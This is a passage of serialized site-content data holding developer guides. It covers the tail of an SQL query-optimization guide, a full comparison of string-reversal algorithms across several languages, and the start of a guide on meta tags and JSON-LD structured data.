c.name\n",[1560,195181,195182],{"class":1562,"line":1747},[1560,195183,195184],{},"HAVING SUM(p.amount) > 500\n",[1560,195186,195187],{"class":1562,"line":2507},[1560,195188,195189],{},"ORDER BY total DESC;\n",[16,195191,195192],{},"Problems identified:",[77,195194,195195,195201,195207],{},[44,195196,195197,195200],{},[143,195198,195199],{},"LOWER(c.country)"," prevents index usage — country values are already consistent",[44,195202,195203,195206],{},[143,195204,195205],{},"YEAR(p.payment_date)"," prevents index usage — use a range instead",[44,195208,195209,195212],{},[143,195210,195211],{},"p.status != 'failed'"," has low selectivity — most payments succeed",[16,195214,195215],{},"Optimized version:",[135,195217,195219],{"className":23599,"code":195218,"language":23601,"meta":141,"style":141},"SELECT\n    c.name,\n    SUM(p.amount) AS total\nFROM customers c\nJOIN payments p\n    ON c.id = p.customer_id\nWHERE c.country = 'US'\n    AND p.payment_date >= '2024-01-01'\n    AND p.payment_date \u003C '2025-01-01'\n    AND p.status = 'completed'\nGROUP BY c.name\nHAVING SUM(p.amount) > 500\nORDER BY total DESC;\n",[143,195220,195221,195225,195229,195233,195237,195241,195246,195251,195255,195260,195265,195269,195273],{"__ignoreMap":141},[1560,195222,195223],{"class":1562,"line":1563},[1560,195224,192914],{},[1560,195226,195227],{"class":1562,"line":337},[1560,195228,194844],{},[1560,195230,195231],{"class":1562,"line":343},[1560,195232,193267],{},[1560,195234,195235],{"class":1562,"line":365},[1560,195236,195154],{},[1560,195238,195239],{"class":1562,"line":889},[1560,195240,193276],{},[1560,195242,195243],{"class":1562,"line":1710},[1560,195244,195245],{},"    ON c.id = p.customer_id\n",[1560,195247,195248],{"class":1562,"line":1717},[1560,195249,195250],{},"WHERE c.country = 'US'\n",[1560,195252,195253],{"class":1562,"line":1747},[1560,195254,193291],{},[1560,195256,195257],{"class":1562,"line":2507},[1560,195258,195259],{},"    AND p.payment_date \u003C '2025-01-01'\n",[1560,195261,195262],{"class":1562,"line":2524},[1560,195263,195264],{},"    AND p.status = 'completed'\n",[1560,195266,195267],{"class":1562,"line":2529},[1560,195268,195179],{},[1560,195270,195271],{"class":1562,"line":2534},[1560,195272,195184],{},[1560,195274,195275],{"class":1562,"line":2542},[1560,195276,195189],{},[16,195278,195279],{},"Added indexes:",[135,195281,195283],{"className":23599,"code":195282,"language":23601,"meta":141,"style":141},"CREATE INDEX idx_payments_date_status\n    ON payments(payment_date, status, customer_id);\n",[143,195284,195285,195290],{"__ignoreMap":141},[1560,195286,195287],{"class":1562,"line":1563},[1560,195288,195289],{},"CREATE INDEX idx_payments_date_status\n",[1560,195291,195292],{"class":1562,"line":337},[1560,195293,195294],{},"    ON payments(payment_date, status, customer_id);\n",[16,195296,195297],{},"Result: 45 seconds down to 0.3 seconds — a 150x improvement.",[11,195299,1930],{"id":1929},[41,195301,195302,195308,195311,195314,195317,195320],{},[44,195303,195304,195305,195307],{},"Replace ",[143,195306,178108],{}," with explicit column lists",[44,195309,195310],{},"Eliminate N+1 queries — use JOINs and aggregation instead",[44,195312,195313],{},"Add indexes on filtered and joined columns",[44,195315,195316],{},"Make WHERE predicates sargable — avoid functions on indexed columns",[44,195318,195319],{},"Read the EXPLAIN plan before and after each optimization",[44,195321,195322],{},"Test with production-like data volumes — small datasets hide slow queries",[11,195324,1355],{"id":1354},[41,195326,195327,195330,195333,195338,195341],{},[44,195328,195329],{},"EXPLAIN plans are your primary tool — learn to read them for your database",[44,195331,195332],{},"Formatting makes performance anti-patterns visible at a glance",[44,195334,195335,195337],{},[143,195336,178108],{}," and N+1 queries are the two most common causes of slow SQL",[44,195339,195340],{},"Wrapping indexed columns in functions kills index usage — always write sargable predicates",[44,195342,195343],{},"One well-placed composite index can cut query time by 100x or more",[11,195345,286],{"id":285},[16,195347,195348,195349,195351],{},"Format and review your queries with our free ",[98,195350,108693],{"href":108692},". Paste your SQL, check the structure, and spot potential performance issues before they hit production.",[11,195353,321],{"id":320},[41,195355,195356,195361],{},[44,195357,195358,195360],{},[98,195359,192781],{"href":178208}," — detailed formatting rules that make optimization easier",[44,195362,195363,195365],{},[98,195364,192073],{"href":178215}," — coding standards for consistent, reviewable SQL",[2043,195367,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":195369},[195370,195371,195376,195377,195383,195384,195385,195386,195387],{"id":194502,"depth":337,"text":194503},{"id":194512,"depth":337,"text":194513,"children":195372},[195373,195374,195375],{"id":194519,"depth":343,"text":192556},{"id":194584,"depth":343,"text":192566},{"id":194641,"depth":343,"text":192576},{"id":194686,"depth":337,"text":194687},{"id":194780,"depth":337,"text":194781,"children":195378},[195379,195380,195381,195382],{"id":193052,"depth":343,"text":178108},{"id":194869,"depth":343,"text":194870},{"id":194952,"depth":343,"text":194953},{"id":195014,"depth":343,"text":195015},{"id":195135,"depth":337,"text":195136},{"id":1929,"depth":337,"text":1930},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Practical techniques to identify and fix slow SQL queries. Learn how to read EXPLAIN plans, avoid common anti-patterns, and write faster SQL.",{"immutable":363,"keywords":195390},[178241,195391],"sql-query-optimization",{"title":192788,"description":195388},"guides\u002Fsql-query-optimization","UTgybnYOgkEHX1bom1vBNhEZkD3MOKWRmOi2tUmjkVE",{"id":195396,"title":195397,"body":195398,"date":2070,"description":195893,"extension":361,"meta":195894,"navigation":363,"path":195895,"readingTime":1710,"seo":195896,"stem":195897,"__hash__":195898},"guides\u002Fguides\u002Fstring-reversal-algorithms.md","String Reversal Algorithms Compared",{"type":8,"value":195399,"toc":195884},[195400,195403,195407,195410,195455,195513,195516,195520,195523,195548,195551,195587,195590,195594,195597,195611,195651,195678,195695,195698,195702,195705,195782,195785,195789,195792,195798,195801,195821,195824,195854,195856,195873,195875,195881],[16,195401,195402],{},"Reversing a string is one of the most common programming exercises — and one of the most deceptively complex. While the basic algorithm is straightforward, the optimal approach varies by language, string encoding, and whether you need in-place mutation. This guide compares the major algorithms and their trade-offs.",[11,195404,195406],{"id":195405},"iterative-reversal","Iterative Reversal",[16,195408,195409],{},"The iterative approach swaps characters from both ends, moving toward the center. It runs in O(n) time with O(1) extra space (for mutable strings):",[135,195411,195413],{"className":8259,"code":195412,"language":8261,"meta":141,"style":141},"def reverse_iterative(s):\n    chars = list(s)\n    left, right = 0, len(chars) - 1\n    while left \u003C right:\n        chars[left], chars[right] = chars[right], chars[left]\n        left += 1\n        right -= 1\n    return ''.join(chars)\n",[143,195414,195415,195420,195425,195430,195435,195440,195445,195450],{"__ignoreMap":141},[1560,195416,195417],{"class":1562,"line":1563},[1560,195418,195419],{},"def reverse_iterative(s):\n",[1560,195421,195422],{"class":1562,"line":337},[1560,195423,195424],{},"    chars = list(s)\n",[1560,195426,195427],{"class":1562,"line":343},[1560,195428,195429],{},"    left, right = 0, len(chars) - 1\n",[1560,195431,195432],{"class":1562,"line":365},[1560,195433,195434],{},"    while left \u003C right:\n",[1560,195436,195437],{"class":1562,"line":889},[1560,195438,195439],{},"        chars[left], chars[right] = chars[right], chars[left]\n",[1560,195441,195442],{"class":1562,"line":1710},[1560,195443,195444],{},"        left += 1\n",[1560,195446,195447],{"class":1562,"line":1717},[1560,195448,195449],{},"        right -= 1\n",[1560,195451,195452],{"class":1562,"line":1747},[1560,195453,195454],{},"    return ''.join(chars)\n",[135,195456,195458],{"className":13941,"code":195457,"language":13943,"meta":141,"style":141},"\u002F\u002F In-place reversal of a null-terminated C string\nvoid reverse(char *s) {\n    int left = 0, right = strlen(s) - 1;\n    while (left \u003C right) {\n        char tmp = s[left];\n        s[left] = s[right];\n        s[right] = tmp;\n        left++;\n        right--;\n    }\n}\n",[143,195459,195460,195465,195470,195475,195480,195485,195490,195495,195500,195505,195509],{"__ignoreMap":141},[1560,195461,195462],{"class":1562,"line":1563},[1560,195463,195464],{},"\u002F\u002F In-place reversal of a null-terminated C string\n",[1560,195466,195467],{"class":1562,"line":337},[1560,195468,195469],{},"void reverse(char *s) {\n",[1560,195471,195472],{"class":1562,"line":343},[1560,195473,195474],{},"    int left = 0, right = strlen(s) - 1;\n",[1560,195476,195477],{"class":1562,"line":365},[1560,195478,195479],{},"    while (left \u003C right) {\n",[1560,195481,195482],{"class":1562,"line":889},[1560,195483,195484],{},"        char tmp = s[left];\n",[1560,195486,195487],{"class":1562,"line":1710},[1560,195488,195489],{},"        s[left] = s[right];\n",[1560,195491,195492],{"class":1562,"line":1717},[1560,195493,195494],{},"        s[right] = tmp;\n",[1560,195496,195497],{"class":1562,"line":1747},[1560,195498,195499],{},"        left++;\n",[1560,195501,195502],{"class":1562,"line":2507},[1560,195503,195504],{},"        right--;\n",[1560,195506,195507],{"class":1562,"line":2524},[1560,195508,11612],{},[1560,195510,195511],{"class":1562,"line":2529},[1560,195512,1585],{},[16,195514,195515],{},"The iterative method is the most efficient general-purpose algorithm. It makes exactly ⌊n\u002F2⌋ swaps and uses constant additional memory. For languages where strings are immutable (Python, Java, JavaScript), you pay O(n) to create the character array, but the swap logic itself is optimal.",[11,195517,195519],{"id":195518},"recursive-reversal","Recursive Reversal",[16,195521,195522],{},"A recursive implementation reverses the outer characters and recurses on the inner substring:",[135,195524,195526],{"className":8259,"code":195525,"language":8261,"meta":141,"style":141},"def reverse_recursive(s):\n    if len(s) \u003C= 1:\n        return s\n    return reverse_recursive(s[1:]) + s[0]\n",[143,195527,195528,195533,195538,195543],{"__ignoreMap":141},[1560,195529,195530],{"class":1562,"line":1563},[1560,195531,195532],{},"def reverse_recursive(s):\n",[1560,195534,195535],{"class":1562,"line":337},[1560,195536,195537],{},"    if len(s) \u003C= 1:\n",[1560,195539,195540],{"class":1562,"line":343},[1560,195541,195542],{},"        return s\n",[1560,195544,195545],{"class":1562,"line":365},[1560,195546,195547],{},"    return reverse_recursive(s[1:]) + s[0]\n",[16,195549,195550],{},"While elegant, this approach has serious practical drawbacks:",[193,195552,195553,195561],{},[196,195554,195555],{},[199,195556,195557,195559],{},[202,195558,71554],{},[202,195560,34974],{},[211,195562,195563,195571,195579],{},[199,195564,195565,195568],{},[216,195566,195567],{},"Stack depth",[216,195569,195570],{},"A string of length n requires n stack frames; long strings cause stack overflow",[199,195572,195573,195576],{},[216,195574,195575],{},"Time complexity",[216,195577,195578],{},"Each concatenation creates a new string — O(n²) total in languages with immutable strings",[199,195580,195581,195584],{},[216,195582,195583],{},"Memory",[216,195585,195586],{},"O(n) stack space plus O(n²) intermediate allocations",[16,195588,195589],{},"Tail-call optimization can mitigate the stack issue in some languages (Scheme, Erlang), but most mainstream languages — including Python, JavaScript, and Java — do not guarantee TCO. Recursive reversal is best treated as an academic exercise rather than a production technique.",[11,195591,195593],{"id":195592},"built-in-and-functional-approaches","Built-In and Functional Approaches",[16,195595,195596],{},"Most modern languages provide a built-in reverse or allow a concise functional expression:",[135,195598,195600],{"className":8259,"code":195599,"language":8261,"meta":141,"style":141},"# Python\nreversed_s = s[::-1]\n",[143,195601,195602,195606],{"__ignoreMap":141},[1560,195603,195604],{"class":1562,"line":1563},[1560,195605,181265],{},[1560,195607,195608],{"class":1562,"line":337},[1560,195609,195610],{},"reversed_s = s[::-1]\n",[135,195612,195614],{"className":1607,"code":195613,"language":1609,"meta":141,"style":141},"\u002F\u002F JavaScript\nconst reversed = s.split('').reverse().join('');\n",[143,195615,195616,195621],{"__ignoreMap":141},[1560,195617,195618],{"class":1562,"line":1563},[1560,195619,195620],{"class":1649},"\u002F\u002F JavaScript\n",[1560,195622,195623,195625,195627,195629,195631,195633,195635,195637,195639,195641,195643,195645,195647,195649],{"class":1562,"line":337},[1560,195624,8180],{"class":1669},[1560,195626,162019],{"class":1576},[1560,195628,8186],{"class":1669},[1560,195630,38012],{"class":1570},[1560,195632,9356],{"class":1566},[1560,195634,1688],{"class":1570},[1560,195636,5635],{"class":5634},[1560,195638,9368],{"class":1570},[1560,195640,78407],{"class":1566},[1560,195642,42138],{"class":1570},[1560,195644,9459],{"class":1566},[1560,195646,1688],{"class":1570},[1560,195648,5635],{"class":5634},[1560,195650,1744],{"class":1570},[135,195652,195656],{"className":195653,"code":195654,"language":195655,"meta":141,"style":141},"language-rust shiki shiki-themes github-light github-dark","\u002F\u002F Rust — reverses in place on a mutable vector of chars\nlet mut chars: Vec\u003Cchar> = s.chars().collect();\nchars.reverse();\nlet reversed: String = chars.into_iter().collect();\n","rust",[143,195657,195658,195663,195668,195673],{"__ignoreMap":141},[1560,195659,195660],{"class":1562,"line":1563},[1560,195661,195662],{},"\u002F\u002F Rust — reverses in place on a mutable vector of chars\n",[1560,195664,195665],{"class":1562,"line":337},[1560,195666,195667],{},"let mut chars: Vec\u003Cchar> = s.chars().collect();\n",[1560,195669,195670],{"class":1562,"line":343},[1560,195671,195672],{},"chars.reverse();\n",[1560,195674,195675],{"class":1562,"line":365},[1560,195676,195677],{},"let reversed: String = chars.into_iter().collect();\n",[135,195679,195683],{"className":195680,"code":195681,"language":195682,"meta":141,"style":141},"language-haskell shiki shiki-themes github-light github-dark","-- Haskell\nreverseString = reverse\n","haskell",[143,195684,195685,195690],{"__ignoreMap":141},[1560,195686,195687],{"class":1562,"line":1563},[1560,195688,195689],{},"-- Haskell\n",[1560,195691,195692],{"class":1562,"line":337},[1560,195693,195694],{},"reverseString = reverse\n",[16,195696,195697],{},"Built-in functions delegate to optimized native code, typically using the same two-pointer swap internally. They should be your first choice in production code — they are faster, tested, and more readable than hand-rolled loops.",[11,195699,195701],{"id":195700},"in-place-vs-copy-reversal","In-Place vs. Copy Reversal",[16,195703,195704],{},"Whether you can reverse a string in place depends on the language's string representation:",[193,195706,195707,195719],{},[196,195708,195709],{},[199,195710,195711,195713,195716],{},[202,195712,9824],{},[202,195714,195715],{},"Mutable?",[202,195717,195718],{},"In-Place Possible?",[211,195720,195721,195730,195743,195757,195766,195774],{},[199,195722,195723,195725,195728],{},[216,195724,21993],{},[216,195726,195727],{},"Yes (char array)",[216,195729,3057],{},[199,195731,195732,195735,195741],{},[216,195733,195734],{},"C++",[216,195736,195737,195740],{},[143,195738,195739],{},"std::string"," is mutable",[216,195742,3057],{},[199,195744,195745,195747,195752],{},[216,195746,9920],{},[216,195748,195749,195750,1525],{},"No (owned ",[143,195751,157068],{},[216,195753,67456,195754],{},[143,195755,195756],{},"Vec\u003Cchar>",[199,195758,195759,195761,195763],{},[216,195760,9840],{},[216,195762,6117],{},[216,195764,195765],{},"Must create new string",[199,195767,195768,195770,195772],{},[216,195769,9880],{},[216,195771,6117],{},[216,195773,195765],{},[199,195775,195776,195778,195780],{},[216,195777,9860],{},[216,195779,6117],{},[216,195781,195765],{},[16,195783,195784],{},"Attempting in-place reversal on an immutable string forces you to convert it to a mutable structure first, which itself costs O(n) space. In these languages, the space advantage of iterative reversal disappears, and built-in methods become the clear winner.",[11,195786,195788],{"id":195787},"reversing-words-vs-characters","Reversing Words vs. Characters",[16,195790,195791],{},"A related problem is reversing the order of words while preserving each word's characters:",[135,195793,195796],{"className":195794,"code":195795,"language":140},[138],"Input:  \"the sky is blue\"\nOutput: \"blue is sky the\"\n",[143,195797,195795],{"__ignoreMap":141},[16,195799,195800],{},"The standard approach: reverse the entire string, then reverse each word individually.",[135,195802,195804],{"className":8259,"code":195803,"language":8261,"meta":141,"style":141},"def reverse_words(s):\n    words = s.split()\n    return ' '.join(reversed(words))\n",[143,195805,195806,195811,195816],{"__ignoreMap":141},[1560,195807,195808],{"class":1562,"line":1563},[1560,195809,195810],{},"def reverse_words(s):\n",[1560,195812,195813],{"class":1562,"line":337},[1560,195814,195815],{},"    words = s.split()\n",[1560,195817,195818],{"class":1562,"line":343},[1560,195819,195820],{},"    return ' '.join(reversed(words))\n",[16,195822,195823],{},"For in-place C-style solutions, the two-step reverse avoids allocating extra memory:",[135,195825,195827],{"className":13941,"code":195826,"language":13943,"meta":141,"style":141},"\u002F\u002F Step 1: reverse entire string\nreverse(entire_string);\n\u002F\u002F Step 2: reverse each word individually\nfor each word in string:\n    reverse(word);\n",[143,195828,195829,195834,195839,195844,195849],{"__ignoreMap":141},[1560,195830,195831],{"class":1562,"line":1563},[1560,195832,195833],{},"\u002F\u002F Step 1: reverse entire string\n",[1560,195835,195836],{"class":1562,"line":337},[1560,195837,195838],{},"reverse(entire_string);\n",[1560,195840,195841],{"class":1562,"line":343},[1560,195842,195843],{},"\u002F\u002F Step 2: reverse each word individually\n",[1560,195845,195846],{"class":1562,"line":365},[1560,195847,195848],{},"for each word in string:\n",[1560,195850,195851],{"class":1562,"line":889},[1560,195852,195853],{},"    reverse(word);\n",[11,195855,1355],{"id":1354},[41,195857,195858,195861,195864,195867,195870],{},[44,195859,195860],{},"Iterative two-pointer swap is the most efficient general algorithm: O(n) time, O(1) extra space for mutable strings.",[44,195862,195863],{},"Recursive reversal is O(n²) in immutable-string languages and risks stack overflow — avoid in production.",[44,195865,195866],{},"Use built-in reverse functions whenever available; they are optimized and well-tested.",[44,195868,195869],{},"In-place reversal only saves memory for mutable string types (C, C++); in other languages, all approaches allocate O(n) anyway.",[44,195871,195872],{},"Word-level reversal is a distinct problem best solved by splitting and rejoining, or by the two-step reverse method.",[11,195874,286],{"id":285},[16,195876,195877,195878,195880],{},"Want to experiment with string reversal across different inputs? Paste any text into the ",[98,195879,155315],{"href":155314}," and see the reversed output instantly — including how it handles punctuation, numbers, and multi-line content.",[2043,195882,195883],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":195885},[195886,195887,195888,195889,195890,195891,195892],{"id":195405,"depth":337,"text":195406},{"id":195518,"depth":337,"text":195519},{"id":195592,"depth":337,"text":195593},{"id":195700,"depth":337,"text":195701},{"id":195787,"depth":337,"text":195788},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Iterative, recursive, and functional approaches to reversing strings across languages.",{"immutable":363},"\u002Fguides\u002Fstring-reversal-algorithms",{"title":195397,"description":195893},"guides\u002Fstring-reversal-algorithms","u9Z6SN9tQVr1WfqESf-oNIZ348ImcC4B3CHfg_-JIY4",{"id":195900,"title":195901,"body":195902,"date":2070,"description":196670,"extension":361,"meta":196671,"navigation":363,"path":196672,"readingTime":1710,"seo":196673,"stem":196674,"__hash__":196675},"guides\u002Fguides\u002Fstructured-data-meta-tags.md","Structured Data and Meta Tags",{"type":8,"value":195903,"toc":196664},[195904,195907,195911,195914,195986,195989,195993,195996,196211,196220,196224,196227,196238,196347,196355,196465,196473,196596,196600,196603,196622,196645,196655,196661],[16,195905,195906],{},"Meta tags tell search engines what a page is about. Structured data tells them exactly what kind of thing the page describes — a product, an article, a FAQ, an event — in a machine-readable format. Using both together creates a complete signal: meta tags control the search snippet, while structured data enables rich results like star ratings, FAQ dropdowns, and event listings directly in search results.",[11,195908,195910],{"id":195909},"how-they-complement-each-other","How They Complement Each Other",[16,195912,195913],{},"Meta tags and structured data serve overlapping but distinct purposes:",[193,195915,195916,195927],{},[196,195917,195918],{},[199,195919,195920,195922,195925],{},[202,195921,13104],{},[202,195923,195924],{},"Meta Tags",[202,195926,184440],{},[211,195928,195929,195944,195954,195965,195976],{},[199,195930,195931,195933,195939],{},[216,195932,13018],{},[216,195934,195935,195938],{},[143,195936,195937],{},"\u003Cmeta>"," HTML tags",[216,195940,195941],{},[143,195942,195943],{},"\u003Cscript type=\"application\u002Fld+json\">",[199,195945,195946,195948,195951],{},[216,195947,65684],{},[216,195949,195950],{},"Page-level (title, description, viewport)",[216,195952,195953],{},"Entity-level (product, article, person)",[199,195955,195956,195959,195962],{},[216,195957,195958],{},"Consumers",[216,195960,195961],{},"All crawlers",[216,195963,195964],{},"Google, Bing, Yandex, Pinterest",[199,195966,195967,195970,195973],{},[216,195968,195969],{},"Rich results",[216,195971,195972],{},"Basic snippet only",[216,195974,195975],{},"Stars, FAQ, carousels, breadcrumbs",[199,195977,195978,195980,195983],{},[216,195979,86513],{},[216,195981,195982],{},"Twitter\u002FFacebook validators",[216,195984,195985],{},"Google Rich Results Test",[16,195987,195988],{},"Meta tags define the search result snippet — the title line, the description text, and the preview image. Structured data defines entities and relationships that power enhanced search features. You need both for full coverage.",[11,195990,195992],{"id":195991},"implementing-json-ld-alongside-meta-tags","Implementing JSON-LD Alongside Meta Tags",[16,195994,195995],{},"A well-optimized tool page combines standard meta tags, Open Graph tags, and JSON-LD structured data:",[135,195997,195999],{"className":6417,"code":195998,"language":6419,"meta":141,"style":141},"\u003C!-- Standard meta tags -->\n\u003Ctitle>JSON Formatter Online - Free Formatting Tool | ToolBox\u003C\u002Ftitle>\n\u003Cmeta name=\"description\" content=\"Free online JSON formatter. Validate and beautify JSON data instantly in your browser.\">\n\n\u003C!-- Open Graph meta tags -->\n\u003Cmeta property=\"og:title\" content=\"JSON Formatter Online - Free Formatting Tool\">\n\u003Cmeta property=\"og:description\" content=\"Free online JSON formatter. Validate and beautify JSON data instantly.\">\n\u003Cmeta property=\"og:image\" content=\"https:\u002F\u002Fexample.com\u002Fimages\u002Fjson-formatter-og.png\">\n\n\u003C!-- JSON-LD structured data -->\n\u003Cscript type=\"application\u002Fld+json\">\n{\n  \"@context\": \"https:\u002F\u002Fschema.org\",\n  \"@type\": \"WebApplication\",\n  \"name\": \"JSON Formatter\",\n  \"url\": \"https:\u002F\u002Fexample.com\u002Ftools\u002Fjson-formatter\",\n  \"applicationCategory\": \"DeveloperApplication\",\n  \"operatingSystem\": \"Any\",\n  \"offers\": {\n    \"@type\": \"Offer\",\n    \"price\": \"0\",\n    \"priceCurrency\": \"USD\"\n  },\n  \"description\": \"Free online JSON formatter. Validate and beautify JSON data instantly.\"\n}\n\u003C\u002Fscript>\n",[143,196000,196001,196006,196019,196040,196044,196049,196070,196091,196112,196116,196121,196136,196140,196145,196150,196155,196160,196165,196170,196175,196180,196185,196190,196194,196199,196203],{"__ignoreMap":141},[1560,196002,196003],{"class":1562,"line":1563},[1560,196004,196005],{"class":1649},"\u003C!-- Standard meta tags -->\n",[1560,196007,196008,196010,196012,196015,196017],{"class":1562,"line":337},[1560,196009,6431],{"class":1570},[1560,196011,108868],{"class":2484},[1560,196013,196014],{"class":1570},">JSON Formatter Online - Free Formatting Tool | ToolBox\u003C\u002F",[1560,196016,108868],{"class":2484},[1560,196018,6441],{"class":1570},[1560,196020,196021,196023,196025,196027,196029,196031,196033,196035,196038],{"class":1562,"line":343},[1560,196022,6431],{"class":1570},[1560,196024,108827],{"class":2484},[1560,196026,108846],{"class":1566},[1560,196028,7297],{"class":1570},[1560,196030,152497],{"class":5634},[1560,196032,108854],{"class":1566},[1560,196034,7297],{"class":1570},[1560,196036,196037],{"class":5634},"\"Free online JSON formatter. Validate and beautify JSON data instantly in your browser.\"",[1560,196039,6441],{"class":1570},[1560,196041,196042],{"class":1562,"line":365},[1560,196043,1702],{"emptyLinePlaceholder":363},[1560,196045,196046],{"class":1562,"line":889},[1560,196047,196048],{"class":1649},"\u003C!-- Open Graph meta tags -->\n",[1560,196050,196051,196053,196055,196057,196059,196061,196063,196065,196068],{"class":1562,"line":1710},[1560,196052,6431],{"class":1570},[1560,196054,108827],{"class":2484},[1560,196056,67469],{"class":1566},[1560,196058,7297],{"class":1570},[1560,196060,161197],{"class":5634},[1560,196062,108854],{"class":1566},[1560,196064,7297],{"class":1570},[1560,196066,196067],{"class":5634},"\"JSON Formatter Online - Free Formatting Tool\"",[1560,196069,6441],{"class":1570},[1560,196071,196072,196074,196076,196078,196080,196082,196084,196086,196089],{"class":1562,"line":1717},[1560,196073,6431],{"class":1570},[1560,196075,108827],{"class":2484},[1560,196077,67469],{"class":1566},[1560,196079,7297],{"class":1570},[1560,196081,161218],{"class":5634},[1560,196083,108854],{"class":1566},[1560,196085,7297],{"class":1570},[1560,196087,196088],{"class":5634},"\"Free online JSON formatter. Validate and beautify JSON data instantly.\"",[1560,196090,6441],{"class":1570},[1560,196092,196093,196095,196097,196099,196101,196103,196105,196107,196110],{"class":1562,"line":1747},[1560,196094,6431],{"class":1570},[1560,196096,108827],{"class":2484},[1560,196098,67469],{"class":1566},[1560,196100,7297],{"class":1570},[1560,196102,161240],{"class":5634},[1560,196104,108854],{"class":1566},[1560,196106,7297],{"class":1570},[1560,196108,196109],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fimages\u002Fjson-formatter-og.png\"",[1560,196111,6441],{"class":1570},[1560,196113,196114],{"class":1562,"line":2507},[1560,196115,1702],{"emptyLinePlaceholder":363},[1560,196117,196118],{"class":1562,"line":2524},[1560,196119,196120],{"class":1649},"\u003C!-- JSON-LD structured data -->\n",[1560,196122,196123,196125,196127,196129,196131,196134],{"class":1562,"line":2529},[1560,196124,6431],{"class":1570},[1560,196126,11475],{"class":2484},[1560,196128,125336],{"class":1566},[1560,196130,7297],{"class":1570},[1560,196132,196133],{"class":5634},"\"application\u002Fld+json\"",[1560,196135,6441],{"class":1570},[1560,196137,196138],{"class":1562,"line":2534},[1560,196139,23493],{"class":1570},[1560,196141,196142],{"class":1562,"line":2542},[1560,196143,196144],{"class":1570},"  \"@context\": \"https:\u002F\u002Fschema.org\",\n",[1560,196146,196147],{"class":1562,"line":2558},[1560,196148,196149],{"class":1570},"  \"@type\": \"WebApplication\",\n",[1560,196151,196152],{"class":1562,"line":2570},[1560,196153,196154],{"class":1570},"  \"name\": \"JSON Formatter\",\n",[1560,196156,196157],{"class":1562,"line":6638},[1560,196158,196159],{"class":1570},"  \"url\": \"https:\u002F\u002Fexample.com\u002Ftools\u002Fjson-formatter\",\n",[1560,196161,196162],{"class":1562,"line":11615},[1560,196163,196164],{"class":1570},"  \"applicationCategory\": \"DeveloperApplication\",\n",[1560,196166,196167],{"class":1562,"line":11621},[1560,196168,196169],{"class":1570},"  \"operatingSystem\": \"Any\",\n",[1560,196171,196172],{"class":1562,"line":11633},[1560,196173,196174],{"class":1570},"  \"offers\": {\n",[1560,196176,196177],{"class":1562,"line":11638},[1560,196178,196179],{"class":1570},"    \"@type\": \"Offer\",\n",[1560,196181,196182],{"class":1562,"line":11672},[1560,196183,196184],{"class":1570},"    \"price\": \"0\",\n",[1560,196186,196187],{"class":1562,"line":19435},[1560,196188,196189],{"class":1570},"    \"priceCurrency\": \"USD\"\n",[1560,196191,196192],{"class":1562,"line":19442},[1560,196193,11862],{"class":1570},[1560,196195,196196],{"class":1562,"line":19475},[1560,196197,196198],{"class":1570},"  \"description\": \"Free online JSON formatter. Validate and beautify JSON data instantly.\"\n",[1560,196200,196201],{"class":1562,"line":19508},[1560,196202,1585],{"class":1570},[1560,196204,196205,196207,196209],{"class":1562,"line":44196},[1560,196206,11242],{"class":1570},[1560,196208,11475],{"class":2484},[1560,196210,6441],{"class":1570},[16,196212,196213,196214,196216,196217,196219],{},"The key principle: meta tags and structured data should tell the same story. If your ",[143,196215,12666],{}," says \"JSON Formatter\" but your JSON-LD ",[143,196218,82747],{}," says \"JSON Beautifier,\" you send conflicting signals. Keep titles, descriptions, and names consistent across all three layers.",[11,196221,196223],{"id":196222},"schema-types-for-common-pages","Schema Types for Common Pages",[16,196225,196226],{},"Different page types benefit from different structured data schemas:",[16,196228,196229,196232,196233,1531,196235,8037],{},[47,196230,196231],{},"Article pages"," use ",[143,196234,184526],{},[143,196236,196237],{},"BlogPosting",[135,196239,196241],{"className":23484,"code":196240,"language":23486,"meta":141,"style":141},"{\n  \"@context\": \"https:\u002F\u002Fschema.org\",\n  \"@type\": \"Article\",\n  \"headline\": \"Writing Math Equations in Markdown\",\n  \"author\": {\n    \"@type\": \"Person\",\n    \"name\": \"Jane Doe\"\n  },\n  \"datePublished\": \"2026-05-28\",\n  \"dateModified\": \"2026-05-28\",\n  \"image\": 